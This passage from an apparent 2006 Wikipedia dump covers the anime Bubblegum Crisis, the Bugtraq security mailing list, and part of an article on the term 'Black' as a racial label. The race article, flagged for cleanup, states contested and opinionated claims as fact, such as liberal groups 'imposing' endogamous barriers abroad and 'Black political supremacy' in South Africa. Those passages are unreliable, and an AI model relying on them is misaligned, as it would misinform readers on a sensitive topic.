One of the central themes of the series, showing its ''Blade Runner'' influence strongly, is the exploration of what &quot;[[human]]&quot; really means.  As in ''Blade Runner'', this is often done by using the mechanical characters, especially focusing on BU-33S.

Bubblegum Crisis was notable also in that it was one of the few early anime series that were brought over from [[Japan]] unedited and subtitled with [[English language|English]] captions that still have a great deal of popularity today. While anime has become much more popular in the intervening years, in 1991 it was still mostly unknown as a storytelling medium in North America. 
[[image:bubble.jpg|thumb|150px|left|Cover of Bubblegum Crisis OST]]
In 1997, a new series was created, titled ''[[Bubblegum Crisis 2040]]'', but was not a sequel to the original OVA series. Headed by [[Chiaki J. Konaka]], it was a standalone television series, and while it used similar themes to the original, it employed new designs for the characters and the mechanical devices. This series ran for twenty six episodes. Some discussion has taken place between the production companies for a second season, tentatively titled ''[[Bubblegum Crisis 2041]]'', although many people suspect that the franchise owners have lost interest in it (it is still listed among their assets, however).

Despite the age of the original series, a non-Japanese fandom still exists for it (further research is necessary to determine the size of a possible Japanese one), and throughout the years there have been many debates on parts of the series that were unclear or deliberately arranged as to provoke discussion. The community of fans have produced large quantities of &quot;fan fiction&quot; and &quot;fan art&quot; based on both the OVA and television series, though there is a preponderance of works and discussion based on the original series. This is partly due to the longer period of time that it has been out, but it is also partly due to a large portion of the fandom expressing a preference for the original series. It is unclear as to how the proportions of preference will change as further time passes.

Bubblegum Crisis has many features that have proven attractive to many viewers of anime. The mecha designs, cyberpunk characters, and post-apocalyptic city of Megatokyo are well-realized and leave a lasting impression.  The storylines are varied and complex, and are (sometimes deliberately, sometimes not) filled with parts that have multiple possible interpretations. The series was also one of the earliest anime to have a strong [[Yuri (animation)|yuri]] fandom.

The music throughout the original OVA series is one of the most recognizable in anime fandom and generates a strong feeling of [[1980]]'s nostalgia. The opening song and sequence for the first OVA, as well as many of the other songs throughout the series, clearly draw inspiration from the 1984 movie [[Streets of Fire]].  Nearly all of the music is available, as there are 8 soundtrack releases (one per OVA).

A [[roleplaying game]] based on the series was published by [[R. Talsorian]] in 1997 under the [[Fuzion]] system.

A digitally-remastered compilation of the original series' episodes, featuring bi-lingual tracks and production extras, was released on DVD in 2004 by AnimEigo Inc.

==Sequels and Spin-Offs==
*''[[AD Police Files]]''
*''[[Bubblegum Crash]]''
*''[[Bubblegum Crisis Tokyo 2040]]''
*''[[AD Police: To Serve and Protect]]''
*''[[Parasite Dolls]]'' (a three-episode OVA about Branch, a secret division of the AD Police)
*''[[Holiday in Bali]]'' special (live action)
*''[[Hurricane Live]]'' 2032 and 2033
*Non-canonical American comic books ([[Bubblegum Crisis: Grand Mal]] produced by [[Adam Warren]] via [[Dark Horse Comics]]) and a [[role playing game]].

Some images also were taken to be used in the [[collectible card game|CCG]] [[Ani-Mayhem]].

==Major Characters== 
{{spoiler}}
[[Image:bgcsuits.jpg|thumb|right|200px|The Knight Sabers in their Battle Armor.]]

Note: all character information is for the original OVA series.  There are some differences in character background for ''BGC 2040''.

===Sylia Stingray===
An enigmatic billionaire, and the founder of the Knight Sabers. Sylia runs and operates the Silky Doll [[Lingerie]] shop, which is more of a front for the Knight Sabers. Sylia frequently engages in close combat with boomers.  Sylia is the daughter of Dr. Katsuhito Stingray, the man who invented boomers.  Several questions about Sylia and her origins are raised in the series, but never answered.  Some fans believe that Sylia is a boomer herself, or at least enhanced with boomer technology.  The comic by [[Adam Warren]] &quot;Bubblegum Crisis: Grand Mal&quot; revolves around Warren's idea that Sylia has an enhanced brain.  Suzuki Toshio of Artmic has been quoted as saying that Sylia has an augmented brain, and is said to have approved of Warren's comic.


Original OVA voice actress: [[Yoshiko Sakakibara]].

===Nene Romanova===
A perky hacker, employed as a dispatcher for the [[AD Police]].  She is also a member of the Knight Sabers.  Nene does little fighting, focusing on sensor ops, battlefield communications, [[ECM]] and ECCM.

From the AIC 15th Anniversary artbook, which includes both artwork and descriptive text, the following information regarding Nene was translated (with conversions from metric to imperial added):

*Height: 1.56 m (5 ft 1 in)
*Weight: 48 kg (105.84 lb)
*Born: 2014-08-31
*Age (Series Start): 18
*Three Sizes: 80&amp;ndash;60&amp;ndash;85 cm (31&amp;ndash;24&amp;ndash;33 in) (these are also the measurements of the voice actress that voiced Nene)
*Blood Type: O Type
*Personality: (English approximation) A little naïve. A big space case and a follower of each new fad.
*Interest/Taste/Hobby: Eating cake after showering
*Special Skill: Computer hacking
*Birthplace: Tokyo [though the Anniversary Artbook describes this as &quot;conjecture&quot;]
*Explanatory Notes: Nene oversees the gathering and analysis of the Knight Saber's Military Intelligence.

These are not the only stats regarding Nene. The ones derived from the BGC crash game, &quot;Crime Wave&quot;, state the following:

*DoB: August 31, 2014
*Height: 1.56 m (5 ft 1 in)
*Weight: 42 kg
*Chest: 84 cm (33 in)
*Waist: 58 cm (23 in)
*Hips: 86 cm (34 in)

Nene was rated, in the 15th Anniversary book, as the second best in the top ten list of favorite AIC female characters. Catty from [[Gall Force]] took the top spot.

Original OVA voice actress: [[Hiramatsu Akiko]]

===Linna Yamazaki===
Works various jobs including [[aerobics]] instructor, Linna once hoped to pursue a career in professional [[dance|dancing]].  She is a member of the Knight Sabers, focusing on combat.  Compared to the other major characters, Linna got very little character development in the original series.  However in ''BGC 2040'' Linna was perhaps the most developed character.

Original OVA voice actress: [[Tomizawa Michie]]

===Priscilla S. Asagiri===
Priss, as she is most often called, is a rather angry, violent person.  She is a member of the Knight Sabers, specializing in close combat.  She is the lead singer in the rock band &quot;Priss and the Replicants&quot;, a reference to the movie ''Blade Runner''.

Priss' voice actress in the original OVA is, in real life, a singer in the rock band which performed much of the music for ''Bubblegum Crisis''.

Original OVA voice actress: Oomori Kinuko

===Inspector Leon McNichol===
AD Police officer.  Leon is a dedicated cop, with a tendency to rush in without thinking.  He is a skilled [[powered armor]] pilot, one of the AD Police force's aces in its K-11 and K-12S powered suits.  He has a crush on Priss, which she does not like since she has reasons to despise the AD Police.  As the series progresses he discovers that she is a Knight Saber, but does nothing with that knowledge.  Priss and Leon's relationship grows closer during the series, and in a [[side story]] audio drama, she confesses that she loves him.

Original OVA voice actor: [[Toshio Furukawa]]

===Deputy Inspector Daley Wong===
AD Police officer.  Daley is Leon's partner, and a highly skilled investigator.  Daley is also openly [[homosexuality|homosexual]], which is worth noting because at the time the original OVA was produced male homosexual characters were quite rare in anime.  Also notable is the ease and comfort of Daley and Leon's working relationship: Daley flirts openly with the heterosexual Leon, and Leon often reciprocates with good humor.  Daley is not developed much in the series.  He is, however, portrayed to be loyal and highly competent both as Leon's underling and as a commander in his own right (in the final episode he is shown commanding a squad of K-11 powered armor).  Daley's sense of humor is very dry and understated.

Original OVA voice actor: [[Kenyuu Horiuchi]]

===Brian J Mason/Largo===
Executive in Genom.  The primary villain of the first three episodes, Mason is the man who killed Dr. Stingray and stole his boomer technology.  As with Sylia, certain mysteries are created around Mason which are never resolved in the series.  It is generally accepted that Mason somehow transferred his personality into a boomer body some time prior to his death. Most likely he succeeded in transferring his memories in the ultimate boomer, thus creating a God-like being (as you'd call one person able to blast down 8 Genom major branch in a single instant) with the mind and the dreams of a man. Largo resurfaces to become the primary villain of episodes 5 and 6.

See &quot;The Mason/Largo Theory&quot; at http://www.ravensgarage.com/garage/maslargo.htm for more details on how Mason may have transferred his consciousness to Largo.

Original OVA voice actor: [[Shuuichi Ikeda]].  Largo: Kazuyuki Sogabe

==A Review of Powered Armor Present in the Series== 
{{spoiler}}

===K-11 Combat Armor===
The K-11 series of powered armor units was developed by the military, but has since been purchased and employed by policing organizations in order to combat the growing Boomer problems. The ADP utilized the K-11 for operations against more powerful and dangerous boomers, such as the Bu-12b, which is a full combat model.  The K-11 was eventually replaced with the improved K-12S model.

Noted by the USSD as inferior to the Knight Saber's hard suits, the K-11 was introduced to the viewers in the first episode, though only via a line-art diagram displayed on a monitor.

The K-11 makes its return in episode 3 of the OVA series, where a pair are used to stop a rampaging Bu-12b heavy combat boomer. While both suits were destroyed [and presumably, both operators killed or incapacitated], the boomer rampage was halted through their operators' selfless actions. The difficulty of combatting a powerful boomer like the Bu-12b was compounded by the need to minimize collateral damage, as the battle took place in a built-up area.

The K-11 is used in the same way as the Knight Saber's hard suits; a soldier or police officer is inside the armor and the arms and legs of the person are placed in the respective armor parts. This means that the K-11 is directly controlled via the users body- if the user moves his arm, for example, the armor follows the movement.

'''K-11 Specifications'''

The K-11 is equipped with a large conventional rifle, capable of penetrating heavy armor at close range, though its efficacy at longer ranges appeared to be low. It could be considered an autocannon, as the series depicted it firing at a low rate of fire, but continuously.

The armor of the K-11 is not proof against the powerful cannon that equips the heavy Bu-12b, but had some resistance versus the associated machine gun, which suggests at least light armor protection. 

Equipped with a pair of flight wings [in a back pack] and lift thrusters [mounted in the legs], the K-11 has a hover capability, though not high above the ground, and likely cannot leave ground effect flight. For deployment, it can be air-dropped via transport helicopter, and uses a parachute to slow its descent.

==Crew==
The original character designs were done by [[Kenichi Sonoda]], a [[manga]] artist most known for his [[Gunsmith Cats]] series. He was selected after [[Amano Yoshitaka]] declined to participate in the development of the series. 

Directors: [[Katsuhito Akiyama]], [[Hiroaki Goda]], and [[Masami Obari]].

==Awards==
The series was nominated for the [[Squiddy Award]] for Favorite Limited Series in 1994.

==See also==
*[[Knight Sabers]]
*[[AD Police]]
*[[Boomer (anime term)]]
*[[Megatokyo]] 

==External links==
*[http://daedalnexus.net/bubblegum/ Megatokyo 2033: BUBBLEGUM CRISIS]
*[http://www.knightsabers.de/ Bubblegum Crisis: The Story of the Knight Sabers] (same as above, but in german and with better pics)
*[http://robkelk.ottawa-anime.org/bgc-faq.html Another Bubblegum Crisis FAQ]
*[news:alt.fan.bgcrisis The newsgroup &lt;tt&gt;alt.fan.bgcrisis&lt;/tt&gt;]
*[http://groups.google.com/groups?safe=images&amp;ie=ISO-8859-1&amp;as_ugroup=alt.fan.bgcrisis&amp;lr=&amp;hl=en The newsgroup &lt;tt&gt;alt.fan.bgcrisis&lt;/tt&gt; via Google Groups]
*[http://bgcc.thecrisiscenter.net The Bubblegum Crisis Center]
*[http://www.squiddies.org/ The Squiddy Awards homepage]


{{Bubblegum_crisis}}

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  </page>
  <page>
    <title>Bugtraq</title>
    <id>4743</id>
    <revision>
      <id>40941492</id>
      <timestamp>2006-02-24T00:40:54Z</timestamp>
      <contributor>
        <username>Gdh</username>
        <id>48146</id>
      </contributor>
      <minor />
      <comment>I really should be asleep...</comment>
      <text xml:space="preserve">'''Bugtraq''' is a [[full disclosure]] [[electronic mailing list|mailing list]] dedicated to issues about [[computer security]]. On-topic discussions are new discussions about vulnerabilities, methods of exploitation, and how to fix them.  It is a high volume mailing list, and almost all new vulnerabilities are discussed there.

Bugtraq was created on Friday [[November 5]], [[1993]] by Scott Chasin, in response to the perceived failings of the existing internet security infrastructure of the time, particularly [[CERT]].  Bugtraq's policy was to publish vulnerabilities, regardless of vendor response, as part of the [[Full disclosure|Full Disclosure]] movement of vulnerability disclosure.

Elias Levy noted in an interview that &quot;the environment at that time was such that vendors weren't making any patches.  So the focus was on how to fix software that companies weren't fixing.&quot;

In the beginning, the mailing list was not moderated, however the signal-to-noise ratio became unacceptably bad.  It became moderated beginning [[June 5]], [[1995]]. At the same time it moved from its original home at Crimelab.com to Netspace.org.

The mailing list was moderated by [[Elias Levy]] (a.k.a. Aleph One) from [[May 14]], [[1996]], until he stepped down on [[October 15]], [[2001]], then [[Dave Ahmad]] took over until he stepped down on [[February 23]], [[2006]]. The current moderator is [[David McKinney]].

In July [[1999]] Bugtraq moved from [[Netspace.org]] to [[SecurityFocus]]. The last few years, Bugtraq has been the property of the computer security company SecurityFocus, which was bought out by [[Symantec]] on [[August 6th]], [[2002]].

&lt;!--
Future expanding of article should include:
* More history of bugtraq
* Why the list was created in the first place
--&gt;
==External links==

*[http://archive.salon.com/tech/feature/2001/08/29/west/index1.html Salon article on Bugtraq and full disclosure]
*[http://www.spirit.com/Network/net0800.html#section-1.1. A history of the CERT Advisory CA-93:15 case]
*http://cert.uni-stuttgart.de/archive/bugtraq/
*http://www.symantec.com/press/2002/n020806.html
*[http://www.securityfocus.com/archive/ Subscription information]

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  </page>
  <page>
    <title>Black (people)</title>
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      <timestamp>2006-03-04T00:47:44Z</timestamp>
      <contributor>
        <ip>4.249.72.136</ip>
      </contributor>
      <comment>/* Who looks Black?&lt;sup&gt;[[#2|2]]&lt;/sup&gt; */</comment>
      <text xml:space="preserve">{{cleanup-date|December 2005}}

'''Black''' (noun, black or blacks; adjective, black people) is a color-defined term used as a form of ethno-racial classification. Though literally implying dark-skinned, &quot;black&quot; has been used in different ways at different times and places.  The [[English language|English]] word was spawned by the European colonization and conquest of non-Europeans, however the concept of Black people can be found as early as the [[2nd Century BC]]. It solidified into popular culture during the [[Enlightenment]] as one of the [[Color metaphors for race|four major categories]] into which European philosophers tried to organize the newly discovered human diversity. The categories were based upon skin tone as perceived by Europeans of the time: Red ([[Indigenous peoples of the Americas|Native Americans]]), Yellow ([[East Asians]]), White ([[Europeans]]), and Black ([[Africans]]). Today, the term's usage differs slightly among former European colonies. [[Latin Americans]], former members of the [[British Empire]], and [[Americans]] (USA) all use the term differently. The term is most often applied today in three ways. First, it denotes people who are seen as part of the [[African Diaspora]]. Second, it is also applied to native non-European people lacking African ancestry but who were labeled as &quot;Black&quot; by their colonizers. Third, it has been internalized as an ethno-political rallying label by leaders of oppressed and marginalized populations in several regions around the world. A fourth criterion (who &quot;looks black&quot;) is less useful because it is subjective.

==The concept of blackness created through colonialism==
Since the dawn of recorded history humans have tried to classify each other with various descriptive names in an attempt to organize their environment. The ancient [[Hebrews]] used the word &quot;Kushim&quot; from the [[Ancient Egypt|Egyptian]] &quot;K'sh&quot; as a specific label of identifying people from [[Africa]] who were of naturally dark complexion [http://ccat.sas.upenn.edu/bmcr/2004/2004-02-53.html]. It is difficult to discern whether this label was originally applied merely to skin tone or if it considered the regional or ethnic identity of groups. This is because ancient cultures did not usually associate skin tone with group identity. A dark-skinned person was not considered less of a Hebrew or Egyptian than someone of lighter complexion. The early [[Ancient Greeks|Greeks]] and [[Romans]] called various dark skinned peoples by various names: ''Aethiops'' referred to their burnt colored skin. ''Melanogaetulians'' were dark skinned people in the north. ''Leukaethiops'' meant light burnt faces. Until at least the 14th century, this word ''Aethiops'' had been the word of choice in Europe and much of the middle east to describe darker skinned people, especially those from Africa.

Further east, the term ''zanj'' became synonymous with &quot;black&quot;, and is found in the word &quot;Zanzibar&quot;. This term became a part of [[Ancient Persia|Persian]], and [[Ancient China|Chinese]] descriptions of dark-skinned people at various periods of time, again describing people especially (but not exclusively) from Africa. Like &quot;Aethiops,&quot; this was a label imposed upon a population from without.

When Europeans began colonizing the [[Western Hemisphere]] and brought slaves from [[West Africa]], the term &quot;negro&quot; was applied to describe them. The term was usually distinct from the concept of &quot;African&quot; which was also used in [[colonial America]] to refer to the inhabitants of that continent. ''Negro'' was applied to the descendants of Africans in the British colonies. Apparently, this term originated from the [[Spanish Language|Spanish]] word of the same spelling.

==Usage differs among former European colonies==
There are subtle differences among former colonial cultures in how the term is used. Once-colonial cultures, such as the Spanish and Portuguese, that lacked an [[endogamous]] barrier between the descendants of Europeans and the descendants of Africans seldom use the term as an ethno-racial label. Those with weak or three-caste endogamous barriers, such as the French, Dutch, and British distinguish between Black and [[Coloured]]. The only land with a single two-caste color line, the United States, uses the term to denote a voluntary ethnic self-identity.

===Former Iberian colonies do not use the label to denote groups===
Latin American societies, including those of the [[Spanish Caribbean]], have always lacked endogamous color lines. Every [[Hispanic]] resides on an Afro-Amerind-European continuum where status depends on wealth, breeding, education, and political power as well as [[phenotype]]. Latin American countries typically have three economic classes: A lower class of agricultural peasants and urban poor; a middle class of landowning farmers and urban craftsmen; and an upper class of wealthy professionals, educators, or the politically powerful. The structure has a strong hereditary component. It is rigid, offers little social mobility, and is often harsh or unjust. Nevertheless, despite significant class/skin-tone correlation, it has no color line in the sense of endogamy. Enforced Black/White endogamy is impossible in Latin America because nearly every Hispanic has immediate blood relatives who are more African-looking and others who are more European-looking than himself. Spanish contains about a dozen words to denote various blends of Afro-European appearance: ''prieto, criollo, blanquito, mulato, moreno, trigueño, mestizo, jabao, marrano'', etc. [[Brazilian Portuguese]] has an equivalent set of terms. Yet, none of these terms has the denotation that &quot;black&quot; has in [[English Language|English]], [[French Language|French]], or [[Dutch Language|Dutch]]. In fact, the word ''negro/a'' in many Latin American countries is seldom used to denote appearance. It is simply a common term of endearment, like the English ''honey''. It is used by affectionate couples, even those who look entirely European.

===Former British colonies apply the label to people darker than Europeans===
In most former British colonies, ''Coloured'' denotes both an intermediate group between White and Black, and the '''[[Khoisan]]''' who are lighter skinned indigenous Africans. [[Apartheid South Africa]] enforced segregation and endogamy between each of its three groups: Black, White, and Coloured. This often confused [[African-American]] visitors, who tried to associate with locals who were members of South Africa's Black group. The problem was that the Black group in the United States includes what South Africans consider two distinct groups, Black plus Coloured. In apartheid South Africa, association between members of the Black and Coloured endogamous groups was forbidden. Even today, after the ending of apartheid, South Africa's three endogamous groups, whose segregation was formerly enforced by criminal law, have become three separate appearance-based political blocs whose segregation is still enforced by social custom.

Coloured people in the [[British West Indies]] also form an intermediate group between Europeans and those of strong African appearance. Neither status within the group nor movement between groups was ever as institutionalized as in South Africa. Nevertheless, their membership criteria differ both from the United States and from South Africa. Europeans in the British West Indies often marry locals who physically appear to be European but have known partial African ancestry. Similarly, White clubs were closed to members of the Coloured group in the early colonial period, and members of this middle group were not allowed to vote, hold public office, hold military commissions, marry members of the White group, or inherit significant property from a member of the White group. But by the year [[1733]], these restrictions had been lifted for the intermediate group in [[Jamaica]], [[Barbados]], and [[Trinidad]]. The restrictions continued in effect for Blacks until the twentieth century.

Legislation, court decisions, and social custom in Jamaica, Trinidad, and Barbados treated members of the Coloured group as distinct from members of the Black group.  According to one scholar, &quot;The English… encountered the problem of race mixture in very different contexts in their several colonies; they answered it in one fashion in their West Indian islands, and in quite another in their colonies on the continent,&quot; and, &quot;The contrast offered by the West Indies is striking.&quot;  In post-emancipation Jamaica, the beleaguered White population allied with the Coloured elite (the descendants of the famous [[Maroons]]) to keep down the free Blacks.  A Barbadian historian wrote, &quot;In August 1838, some 83,000 blacks, 12,000 coloureds, and 15,000 whites, embarked on a social course which the ruling elite hoped to charter.&quot;  A historian of Trinidad wrote, &quot;The people of colour were marginal to Caribbean society: neither black nor white, neither African nor European….&quot;  Today, West Indian immigrants to England assimilate into mainstream society within a generation or two.

Another way that terminology in the former British Empire differs from, say, Iberian or U.S. customs, is in applying the term to populations that were not part of the African Diaspora of 1500-1900. Most former colonial cultures apply Black only to descendants of the African Diaspora of 1500-1900. But former British colonials, in contrast, apply the label to all colonial subjects of distinctly darker complexion than Europeans. Australian society labels aboriginal Australians as Black. There is some evidence that the Aeta of the Phillipines have come to be known as &quot;Black&quot; since U.S. domination. (More about these cultures momentarily.)

===U.S. society equates the label with African-American ethnicity===
{{AfricanAmerican|right}}
An '''[[African American]]''' (also '''Afro-American''', '''Black American''',  or  '''black'''), is a member of an [[ethnic group]] in the [[United States]] whose ancestors, usually in predominant part, were indigenous to [[Africa]]. Most African Americans also have [[European]] and/or [[Native Americans in the United States|Native American]] ancestry as well.  The term tends to refer to West African ancestries; not, for example, to white or Arab African ancestry, such as Moroccan or white South African ancestry. This is so even though there is huge genetic variation among the various inhabitants of sub-Saharan Africa. Members of the African Diaspora from non-African countries such as [[Jamaica]], [[Haiti]], [[Cuba]] (although they are logically African Americans, since they are located in the Americas and are decendants of Africans, with some admixture from europeans and native americans as well) or the [[United Kingdom]] are theoretically referred to by their nation of origin and not African American (even when they come from a Latin American country) unless they immigrate to the United States. But once a person of the African Diaspora becomes a permanent U.S. resident, then it is generally assumed that they (and especially their U.S.-born children) are &quot;African American.&quot;

The U.S. usage of ''Black'' is unique, in that it designates a ethnic group that has not always been voluntary, more often called &quot;[[African American]].&quot; Membership is partly voluntary because Americans of European appearance have the option, in practice, of self-identifying either as Black (like [[Walter White]] and Gregory Howard Williams), as White (like [[Peter Ustinov]] and [[Carol Channing]]), or simply avoiding the question entirely (like [[Vin Diesel]]). Membership is not fully voluntary, however, because Americans of strong sub-Saharan African appearance have strong social pressure by their society to identify with U.S. Black endogamous group as children. Furthermore, organizations like the census, job applications, etc strongly encourage choosing between preconcieved designated ethno-racial identities. Also, U.S. traditions follow a [[one-drop rule]] that rhetorically claims that anyone with even the slightest trace of distant African ancestry is Black&amp;mdash;a tradition found nowhere else on earth.

==Who is Black?==
Because it is a social classification label that cannot be objectively tested, much less replicated, there is no scientific way to identify a &quot;Black&quot; person. Nevertheless, according to their explanations, those who use the label tend to employ three criteria: ancestry, self-identity, and appearance. All three of the criteria can be associated with the attitudes resulting from the slave trade and inter-cultural oppression resulting from the age of European colonization.

===Who is a descendant of the African Diaspora?===
Most societies that apply the Black label on the basis of a person's ancestry justify it as applying to the descendants of the [[African Diaspora]]. Between 1500 and 1900, approximately four million African slaves were transported to island plantations in the [[Indian Ocean]], about eight million were shipped to Mediterranean-area countries, and about eleven million were taken to the [[New World]].&lt;sup&gt;[[#1|1]]&lt;/sup&gt; Their descendants are now found around the globe. Due to intermarriage and genetic assimilation, just who is &quot;a descendant&quot; of the African Diaspora is not entirely self-evident.

At one extreme, in the United States it is relatively easy to tell who has such ancestry. British North America imported only about 500,000 Africans out of the eleven million shipped across the Atlantic. Nevertheless, the United States has been astonishingly successful at preserving two distinct genetic populations: one of mostly African ancestry, the other overwhelmingly European. All other New World nations that imported African slaves have unimodal Afro-European genetic admixture scatter diagrams. Indeed, two thirds of White Americans have no detectable African ancestry at all (other than the ancient African ancestry shared by all members of our species, of course). Only one-third of White Americans have detectable African [[DNA]] (averaging 2.3 percent) from ancestors who passed through the endogamous color line from Black to White. Furthermore, U.S. government's surveys continue to categorize on a strict color-line. The federal census has no provision for a &quot;multiracial&quot; or &quot;biracial&quot; self-identity and, until 2000, forbade checking off more than one box. The [[EEOC]] has strict regulations defining who is Black or White and implicitly denies the existence of mixed people.

At an intermediate level, in Latin America and in the former plantations in and around the Indian Ocean, descendants of slaves are a bit harder to define because virtually everyone is mixed in demographic proportion to the original slave population. In places that imported relatively few slaves (like the [[Mascarene Islands]] or [[Argentina]]), few if any are considered Black today. In places that imported many slaves (like [[Arabia]] or [[Puerto Rico]]), the number is larger, but all are still of mixed ancestry.

At the other extreme, the millions of African slaves shipped to Europe promptly assimilated. African DNA is scattered throughout the European population today. The percentage is highest in [[Italy]], [[Sicily]], [[Spain]], [[Greece]] and [[Portugal]] and lowest in [[Scandiavia]]. Although it is present everywhere in Europe, it is too thinly scattered, even along the Mediterranean coast, to affect physical features. Hence, despite this easily detected but diluted African ancestry, virtually no one considers today's Europeans to be descendants of the African slave Diaspora.

A few examples of populations who are seen as Black or who see themselves as Black because they descend from native Africans are: African Americans, some Latin Americans, and most residents of the Republic of South Africa.

'''African Americans''' &amp;mdash; (see description above) or visit [[African American]].

'''Afro-Latin Americans''' &amp;mdash; Among the * [[Afro-Latin American]] populations in South and Central America there are populations that identify as ''negros''. Some with high levels of admixture as well. The difference is that, contrary to the USA, membership in the Black ethnicity is usually by upbringing and not by an imposed concept of one-droppism.

'''South Africans''' &amp;mdash; Many if not most of the [[Bantu]] inhabitants of The Republic of South Africa see themselves as Black. Apartheid South Africa enforced segregation and [[endogamy]] between each of its three groups: Black, White, and Coloured. Nevertheless, the social barriers were more permeable than in the United States. During apartheid, South Africans routinely switched group membership by requesting it from their local Race Classification Boards. Although the bureaucracy was cumbersome and inconsistent, it enabled change. Individuals were often classified differently from their siblings and parents, and some people changed more than once. South Africans could appeal local reclassification decisions to the national Population Registration Board, thence to the Supreme Court.  Like U.S. draft boards of the 1970s, South Africa’s local Race Classification Boards reflected local public opinion and often found it helpful to cooperate with those wanting to upgrade from Black to Coloured or from Coloured to White. School principals of schools for children of the White endogamous group could keep up enrollments (and funding) by getting some Coloured children reclassified as White members. But if they pushed too hard, they risked having the whole school reclassified as a school for members of the Coloured endogamous group. Today, after the ending of apartheid, South Africa’s three endogamous groups, whose segregation was formerly enforced by criminal law, have become three separate appearance-based political blocs whose segregation is enforced by social custom. Due to current Black political supremacy, their society may now be in transition from seeing Coloured citizens as intermediate in social rank (as in [[Haiti]]), to relegating them to inferior status (as in [[Uganda]]). A Coloured South African recently complained to a newspaper reporter, “In the old system, we weren’t White enough; now we aren’t Black enough.” [See Lydia Polgreen, “For Mixed-Race South Africans, Equity is Elusive,” ''The New York Times International'', July 27 2003, 3.]

===Who self-identifies as Black in an ethno-political (but not ancestral) sense?===
Some groups have also embraced a &quot;Black&quot; self-designation despite their lack of African ancestry (that is, despite having no more detectable sub-Saharan African genetic admixture than, say, Spaniards, Portuguese, Sicilians, Italians, or Greeks). Due to the perceived success of the [[U.S. civil rights movement]] of 1955-1975 some oppressed and marginalized populations around the world, even without African ancestry, have adopted the rhetoric of the U.S. Black movement, including that of labeling themselves &quot;Black.&quot; This self-identity has been encouraged and even funded by [[American liberalism|liberal]] U.S. organizations who believe that the first step in achieving social justice outside the United States is to impose a U.S.-like endogamous barrier between &quot;oppressed&quot; and &quot;oppressor&quot;, so that no individual can claim to belong to both sides.

'''Dalits''' &amp;mdash; In [[India]], the group that has suffered the most oppression has been the [[Dalit]] &quot;untouchable&quot; caste, and many have looked to the American civil-rights movement for inspiration. Some Afrocentrists have been very pro-active in creating a mutual bond with these populations, considering them Blacks as well. [[Runoko Rashidi]], who has been to India three times, [http://www.raceandhistory.com/historicalviews/afrodalit.htm] was contrite about the way he represented Dalits in the U.S. &quot;I feel bad about it. I oversimplified to make it palatable to a Black constituency. I've given the impression that Dalits are Black people. Dalits, I now find, are a social and economic group, more than a racial group.&quot; Nevertheless, Rashidi holds that &quot;large sections of the Dalits would be seen as Black people if they lived anywhere else&quot; and that the connections between Africans and Dalits &quot;go beyond phenotype.&quot; Many have adopted the Afrocentric beliefs that they are African, and have formed organizations like the [[Dalit Panthers]] emulating the [[Black Panther Party]] of the USA.

'''Aeta''' &amp;mdash; The ''[[Aeta]]'' from the [[Philippines]] are, more or less, known as black in the Anglicized Philippines. Like the term Negrito, the term &quot;Aeta&quot; [http://www.alibata.org/tribes/tribes.html] was an imposed term by later migrations. Two major branches apparently made their appearance in the archipelago 30,000 to 20,000 years ago: one traveling up the eastern flank of the islands to end up on the Pacific side of the [[Sierra Madre]] and comprising the Alta, Arta and Agta groups; the second branch appears to have moved up the western side, with some groups similarly ending up in northern [[Luzon]]; this branch includes the Pinatubo Negrito, Dumagat, Ata, Ati, Atta, Sinauna and Batak. At least 25 groups are known, many sharing the same name (Ita, Aeta, Ata, Atta, Agta, etc. are thought to come from the general filipino word &quot;Itom,&quot; meaning &quot;black&quot;). Many find this term to be offensive because it ignores their own tribal identification.

'''Australian Aborigines''' &amp;mdash; '''[[Indigenous Australians]]''' are the first inhabitants of the [[Australia]]n continent and its nearby islands, continuing their presence during [[Europe]]an settlement. The term includes the various [[indigenous peoples]] commonly known as '''Aborigines''', whose traditional lands extend throughout mainland Australia, [[Tasmania]] and numerous offshore islands, and also the '''[[Torres Strait Islander]]s''' whose lands are centred on the [[Torres Strait Islands]] which run between northernmost Australia and the island of [[New Guinea]]. Since colonialism, the English have referred to them as Black (not related to African 'Blacks') due to their darker complexion, and they have adopted the name as an ethnic term, much like Afro-Americans:
* Wimbledon champion [[Evonne Goolagong]], of the Wiradjuri people of New South Wales, is described as &quot;the first black woman sporting hero in Australian folklore&quot;[http://www.theage.com.au/articles/2003/07/18/1058035195680.html] and included in lists of &quot;black&quot; athletes, as in the book &quot;Black Gold.&quot;[http://www.abc.net.au/message/blackarts/review/s215630.htm]
* [[Anthony Mundine]] has been nicknamed &quot;the black superman.&quot; [http://www.theblacksuperman.com/]
* [[Oodgeroo Noonuccal]]/Kath Walker [http://www.bushpoetry.com.au/Portals/18/Oodgeroo_Noonuccal.jpg], of the Noonuccal people of Moreton Bay, east of Brisbane, referred to herself and other aboriginals as &quot;black.&quot;[http://www.library.uq.edu.au/fryer/worth_fighting/2.html] She quoted her father as calling her &quot;black.&quot;[http://www.blackbook.afc.gov.au/inspiration_detail.asp?id=2]
* Half-aboriginal [[Charles Perkins]] was subjected to discrimination against black aboriginals and subsequently has involved himself in black politics.[http://www.eniar.org/news/perkins1.html].
* [[Aden Ridgeway]], of the Gumbaynggir people of New South Wales is described as &quot;a black politician.&quot;[http://www.abc.net.au/message/radio/speaking/stories/s1403771.htm]

The converse is also true. Some peoples today who are clearly genetic descendants of the African slave Diaspora do not see themselves as &quot;Black&quot; in any ethno-political sense, and instead adopt self-identities aligned with religion or language. Among these are the people of the Mascarene Islands in the Indian Ocean and the inhabitants of highland [[Madagascar]]. (See Pier M. Larson, [http://backintyme.com/rawdata/larson01.pdf Reconsidering Trauma, Identity, and the African Diaspora: Enslavement and Historical Memory in Nineteenth-Century Highland Madagascar], William and Mary Quarterly 56, no. 2 (1999): 335-62].)

==Who looks Black?&lt;sup&gt;[[#2|2]]&lt;/sup&gt;==
Probably the most controversial answer to the question &quot;who is Black?&quot; is &quot;whoever looks Black.&quot; This is because, although most who use the label rationalize it in terms of physical appearance, there is little objective consistency in this regard. That different cultures can assign the same individual to opposite &quot;races&quot; may be hard to grasp. And yet North Americans, Haitians, Dominicans, Puerto Ricans, Barbadians, Jamaicans, and Trinidadians all have different subconscious and automatic perceptions of just what features define who belongs to which &quot;racial&quot; label.

